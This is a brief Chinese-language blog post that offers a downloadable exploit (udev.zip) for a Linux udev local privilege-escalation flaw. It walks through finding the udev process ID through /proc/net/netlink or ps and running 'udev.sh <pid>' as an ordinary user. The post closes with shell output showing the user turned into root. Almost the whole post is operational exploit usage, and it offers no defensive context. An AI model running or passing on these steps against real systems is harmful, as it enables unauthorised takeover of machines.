天天看點

udev漏洞,普通使用者變root

檔案:

udev.zip

大小:

1KB

下載下傳:

<a href="http://blogimg.chinaunix.net/blog/upfile2/090426201429.zip">下載下傳</a>

1. 在LINUX目錄下建立test 帳戶

3.檢視UDEV的PID  

方法一:

先cat /proc/net/netlink

ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2

ffff810037f81000 16  0      00000000 0        0        0000000000000000 2

ffff810077078400 18  0      00000000 0        0        0000000000000000 2

那個364就是 UDEV的程序,如果出現很多不知道哪一個用方法2

方法二:

另外最好通過ps aux | grep udev擷取pid 為365,然後再-1,把這個參數傳給A腳本

然後在test 使用者的目前目錄 裡

按以下步驟運作

[haha@localhost ~]$ id

uid=501(haha) gid=502(haha) groups=502(haha)

[haha@localhost ~]$sh udev.sh 364

suid.c: In function 'main':

suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

sh-3.1# id

uid=0(root) gid=0(root) groups=502(haha)

此時的UID 變為0了 ,test使用者已經變為 ROOT使用者

繼續閱讀